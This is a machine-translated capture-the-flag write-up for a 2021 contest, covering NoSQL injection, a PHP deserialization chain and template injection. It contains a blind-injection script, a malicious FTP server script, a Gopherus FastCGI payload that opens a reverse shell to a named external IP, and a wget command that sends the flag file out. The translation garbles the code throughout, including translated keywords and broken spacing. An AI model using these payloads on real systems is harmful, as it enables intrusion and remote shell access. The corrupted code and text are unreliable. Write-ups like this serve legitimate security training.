제목 : Longyuan은 전염병 2021 네트워크 보안 경쟁 쓰기와 싸우고 있습니다.

이 질문에 대한 웹

1.Checkin​

솔루션. 소스 코드에 따르면 소스 코드는 NOSQL 주입이어야합니다. 분석 한 페이로드 : username='|| 1) {returntrue;}}) //password=123456 블라인드 베팅은 admin/54a83850073b0f4c6862d5a1d484fimporttime입니다
importrequests
importString
세션=requests.session ()
chars=string.printable
비밀번호=''
burp0_URL='http://D8304B2C-689B-4B9F-844A-1C3358BB57DE.NODE4.BUUOJ.CN:81/로그인'
burp0_headers={ 'Cache-Control':'Max-age=0', 'Origin':'http://d8304b2c-689b-4b9f-8 44a-1c3358bb57de.node4.buuoj.cn:81 ','업그레이드-인스 보안-퀘스트 ':'1 ','dnt': ' 1 ','content-type':'application/x-www-form-urlencoded ','user-agent':'Mozilla/5.0 (Wind 537.36 ','accept':'text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image/webp, image/apng,*/*; q=0.8, 응용 프로그램/서명-exchange; v=b3; q=0.9 ','참조 '3360 'http://d8304b2c-689b-4b9f-844a-1c3358bb57de.node4.buuoj.cn:81/LOGIN', 'ACCEPT-ENCODI ng':'gzip, deflate ','accept-language':'zh-cn, zh; q=0.9 ','Connection':'Close '}
burp0_data={ 'username':' '|| this.password [0]!='a ') {returntrue;}}) //', 'password':'test'}
ForxInrange (0,100) :
Foryinchars:
burp0_data [ 'username']=''|| this.password [ '+str (x)+']==''+y+'') {returntrue;}}) //'
응답=session.post (burp0_url, 헤더=burp0_headers, data=burp0_data)
#print (response.text)
if'successly'inresponse.text:
비밀번호+=y
인쇄 (비밀번호)
부서지다
Time.sleep (0.06)
#username:admin
#pwd:54a83850073b0f4c6862d5a1d48ea84f/wget? argv=aargv=-fileargv=/flagargv=http://vps:5555/
1049983-20211222172109607-910227145.jpg
FLAG {67317C21-32F6-42C2-B04B-8B328A5F33AE}

2.eaaasyphp​

로컬 쉘 쓰기
? phpclass check {public static $ str1=false; public static $ st2=false;} class esle {public function __wakeup () {check: $ str1=true; }} class hint {public function __wakeup () {$ this-hint='no hint'; } public function __destruct () {if (! $ this-hint) {$ this-hint='phpinfo'; ($ this-hint) (); }}} 클래스 버니 {public $ filename; 공개 함수 __toString () {echo 'tostring'; if (check: $ str2) {if (! $ this-data) {$ this-data=$ _request [ 'data']; } file_put_contents ($ this-filename, $ this-data); } else {Throw new Error ( 'error'); }}} 클래스 환영 {public $ bbb; 공개 함수 __invoke () {check: $ str2=true; '환영'을 반환하십시오. $ this-username; }} 클래스 바이 패스 {public $ aaa; public $ str4; 공개 함수 __destruct () {if (check: $ str1) {($ thistr4) (); } else {Throw new Error ( 'error'); }}}}}} $ check=new check (); $ esle=new esle (); $ a=new Bypass (); $ b=new welcome (); $ c=new Bunny (); $ c-filename='shell.txt'; $ c-data='111111'; $ b-username=$ c; $ b-bbb=$ check; $ a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-aaa 직렬화 ($ a);
1049983-20211222172110321-1665760604.jpg

그러나 원격으로 사용할 수 없습니다
o%3A6%3A'Bypass '%3A2%3A%7BS%3A3%3A'AAA'%3BO%3A4%3A'esle '%3A0%3A%7B%7DS%3A4%3A'STR4'%3BS%3A7%3A'PHPINFO '%3B%7D
1049983-20211222172110914-803848233.jpg

나중에 문제 환경이 쉘을 쓸 수 없다는 것을 알았으므로 file_put_contents를 사용하여 php-fpm을 공격하는 것을 고려했습니다.
그런 다음 VPS에서 다음 스크립트를 실행하여 악의적 인 FTP 서버를 작성하십시오.
# evil_ftp.py
소켓 수입
s=socket.socket (socket.af_inet, socket.sock_stream)
S.Bind (( '0.0.0.0', 23))
S.Listen (1)
Conn, addr=s.accept ()
Conn.Send (B'220 환영 \ n ')
#새 사용자를위한 서비스 준비.
#client 익명 사용자 이름을 보냅니다
#user 익명
Conn.Send (B'331 비밀번호를 지정하십시오. \ n ')
#user name ok, 비밀번호가 필요합니다.
#client 익명 암호를 보내십시오.
#익명
Conn.Send (B'230 로그인 성공. \ n ')
#user 로그인하고 진행합니다. 적절한 경우 로그 아웃했습니다.
#Type i
Conn.Send (B'200 바이너리 모드로 전환. \ n ')
#Size /
Conn.Send (B'550은 파일 크기를 얻을 수 없습니다. \ n ')
#EPSV (1)
Conn.Send (B'150 OK \ N ')
#PASV
Conn.Send (B'227 확장 수동 모드 입력 (127,0,0,1,0,9000) \ n ') #stor/(2)
Conn.Send (B'150 권한 거부. \ n ')
#그만두다
Conn.Send (B'221 Goodbye. \ n ')
conn.close ()
Gopherus를 사용하여 리바운드 쉘에 대한 페이로드를 생성하십시오
1049983-20211222172111386-1414290412.jpg

%01%01%00%01%00%08%00%00%01%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERV er_softwarego%20/%20fcgiclient%20%0b%09remote_addr127.0.1%0f%08server_proto COLHTTP/1.1%0E%03Content_Length106%0e%04request_methodpost%09KPHP_VALUEALLOW_URL_INCLUDE%20%3D%20on%0ADISABLE_FUCTIONS%20%3D%20%0AAUTO_PREPEND_FILE%3D%20PH P%3A //입력%0f%17Script_Filename/var/www/html/index.php%0d%01document_root/%00% 00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%01%00J%04%00%3C%3FPHP%20SYSTEM%28%2 7BASH%20-C%20%22BASH%20-I%20%3E%26%20/dev/tcp/116.62.104.172/2333%200%3E%261%22 %27%29%3BDIE%28%27 ---- MADE-BY-SPYD3R ---%0A%27%29%3B%3F%3E%00%00%00%00%00POC:
? php
클래스 점검 {
public static $ st1=false;
public static $ str2=false;
}
클래스 esle {
공개 기능 __wakeup ()
{
Check: $ str1=true;
}
}
클래스 힌트 {
공개 기능 __wakeup () {
$ this-hint='no hint';
}
공개 함수 __destruct () {
if (! $ this-hint) {
$ this-hint='phpinfo';
($ this-hint) ();
}
}
}
클래스 토끼 {
공개 $ filename;
공개 기능 __toString ()
{
에코 '토스트 링';
if (check: $ str2) {
if (! $ this-data) {
$ this-data=$ _request [ 'data'];
}
file_put_contents ($ this filename, $ this-data);
} 또 다른 {
새 오류를 던지십시오 ( '오류');
}
}
}
클래스 환영 {
공개 $ bbb;
공개 기능 __invoke ()
{
Check: $ str2=true;
'환영'을 반환하십시오. $ this-username;
}
}
클래스 우회 {
공개 $ aaa;
공개 $ str4;
공개 함수 __destruct ()
{
if (check: $ str1) {
($ this-str4) ();
} 또 다른 {
새 오류를 던지십시오 ( '오류');
}
}
}
$ check=new Check ();
$ esle=new esle ();
$ a=새로운 바이 패스 ();
$ b=새로운 환영 ();
$ c=새로운 버니 ();
$ c-filename='ftp: //aaa@vps/123';
$ c-data=Urldecode ( '%01%01%00%01%00%08%00%00%01%00%00%00%00%01%04%00%01%05%05% 00%0F%10SERVER_SOFTWAREGO%20/%20FCGiclient%20%0B%09REMOTE_ADDR127.0.0.1%0f%0 8server_protocolhttp/1.1%0e%03content_length106%0e%0e%04request_methodpost%09kphp_valueallow_url_include%20%20on%0adisable_functions%20%3d%20%0aauto_prepend_f Ile%20%3d%20php%3a //입력%0f%17script_filename/var/www/html/index.php%0d%01docu Ment_Root/%00%00%00%00%00%01%04%00%01%00%00%00%01%05%00%01%00J%04%00%3C%3FPH P%20SYSTEM%28%27BASH%20-C%20%22BASH%20-I%20%3E%26%20/DEV/TCP/VPS/2333%200%3E%261%22%27%29%3BDIE%28%27 -------- 완화시피 SPYD3R ---%0A%27%3B%3E%00%00%00%00%00%00%00%
$ b-username=$ c;
$ b-bbb=$ check;
$ a-aaa=$ esle;
$ a-str4=$ b;
echo urlencode (Serialize ($ a));
파이썬 스크립트를 실행하십시오
1049983-20211222172111885-2065133396.jpg

포트 2333을 듣고, 페이로드를 보내고, 쉘을 얻습니다
? 코드=O%3A6%3A%22BYPASS%22%3A2%3A%7BS%3A3%3A%22AAA%22%3BO%3A4%3A%22ESLE%22%3A0%3A%7B%7D 3A4%3A%22ST4%22%3BO%3A7%3A%22WELCC E%22%3A2%3A%7BS%3A3%3A%22BBB%22%3BO%3A5%3A%22CECK%22%3A0%3A%7B%7DS%3A8%3A%22USENAME%22%3BO%3A5%3A%22BUNNY%22%3A%7B%3A8 %3A%22Filename%22%3BS%3A31%3A%22FTP%3A%2F%2FAAA%40116.172.172%3A23%2F123%22%3BS%3A4%3A%22Data%22%3BS%3A416%3A%22%01%01%01%01%01%01 %00%08%00%00%00%01%00%00%00%00%00%00%00%01%04%01%01%05%05%05%00%0F%10SERVER_SOFTWAREGO+%2F+FCGICLIENT+%0B%09REMOTE _ADDDR127.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0. 1%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEALLOW_URL_INCLUDE+%3D+on%0ADISABL E_FINCTIONTS+%3D+%0aauto_prepend_file+%3d+php%3a%2f%2finput%0f%17script_filename%2fvar%2fwww%2fhtml%2findex.php%0d%01document_ 뿌리%2f%00%00%00%00%00%00%01%04%00%01%00%00%01%05%00%01%00J%04%00%3C%3C%3C%3C%28%27BASH+-C%22BASH+-I+%26+%2fdev%2 FTCP%2F116.62.104.172%2F2333+0%3E%261%22%27%29%3BDIE%28%27 ---- MADE-BY-SPYD3R ----%0A%29%29%3B%3E%00%00%00%00%22%7d%7d%7d%7d%7d%7d%7d%7d
1049983-20211222172112285-422471917.jpg

3.MagicMail​

注入点​

이 질문은 매우 흥미 롭습니다. 경기 후, 그것은 공식 WP에 따라 재현됩니다. 우선, SMTP 서비스 및 해당 포트와 함께 IP를 입력해야합니다. 이것은 자신의 VPS Python3 -M SMTPD -C DebuggingServer -N 0.0.0.0:6667 자신의 서버 IP를 입력하고 6667 (IP와 포트가 자신의 상황에 따라 수정됩니다)
1049983-20211222172112688-15982506.png
에서 SMTP 서비스를 시작할 수 있습니다.
그런 다음 전자 메일 내용에 이메일
1049983-20211222172113072-2021108038.png
을 보낼 수있는 기능이 있습니다. 템플릿 주입 테스트 입력 {{7*7}}
1049983-20211222172113453-1084769112.jpg
Base64 수신 된 문자열을 디코딩하고 SSTI

:
1049983-20211222172113765-2117252222.jpg

1010 33330

测试模板注入​

이 더 일반적인 템플릿 하락 과정이 있음을 발견했습니다. 테스트에서 어떤 경우에는 주요 문자열 '클래스', 'mro', 'base', 'request', 'session', 'session', 'session', 'session', '+', 'add', 'ch', 'u', '.'. ','ord ','redirect ','url_for ','config ','count ','subclass ',' ',' ',' ',', ',', ',', 'get', '', 'get', 'subclass', 'get_flashed_messages' '헤더', '[', ']', '\', '', '_'some Cases, 오류가 반향됩니다. 이 에코와 관련하여, 내 이해는 클래스의 메소드 호출에 문제가 있다는 것입니다. 즉, 클래스는 메소드 호출을 지원하지 않으므로 오류를 반환합니다 (더 나은 이해 영역에서 댓글 영역에서 지적하십시오).
 
뒤로
상단